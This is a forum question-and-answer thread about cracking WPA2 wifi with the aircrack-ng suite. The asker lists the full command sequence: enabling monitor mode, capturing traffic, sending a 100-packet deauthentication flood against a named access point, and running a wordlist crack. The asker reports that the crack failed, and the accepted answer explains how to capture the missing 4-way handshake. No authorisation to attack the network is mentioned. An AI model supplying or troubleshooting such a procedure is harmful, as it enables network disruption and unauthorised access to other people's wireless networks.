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Silent-B
Asked: 2018-09-21 22:54:00 +0800 CST

(Got no data packets from target network!) error in aircrack-ng ubuntu

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I try to hack WPA2 wifi so this is what i do:

airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng --bssid (bssid) -c (channel) --write wpa2 wlan0mon
aireplay-ng --deauth 100 -a (bssid) wlan0mon

but when i try the aircrack-ng wpa2.cap -w passlist.txt it does`t work and this is the error:

Opening WPA2-01.cap Read 12126 packets.

# BSSID ESSID Encryption

1 BC:F6:85:DE:2A:A5 Dr.laban No data - WEP or WPA

Choosing first network as target.

Opening WPA2-01.cap Got no data packets from target network!

Quitting aircrack-ng...

i also try service network-manager stop and airmon-ng check kill but it does`t work.

networking wireless network-manager aircrack-ng hacking

1 Answers

  1. Best Answer

    The output of the aircrack-ng states

    No data - WEP or WPA

    this means that all the captured packets are just beacons (AP announcement packets) and no real useful AP-client data was captured.

    Moreover, not all the AP-client data can be used for WPA2 cracking, just the 4-way handshakes.

    You just have to do a successful access to the WPA2 network with another device while capturing with airodump-ng and a

    WPA handshake: aa:bb:cc:dd:ee:ff

    will appear confirming the acquisition of the useful data.

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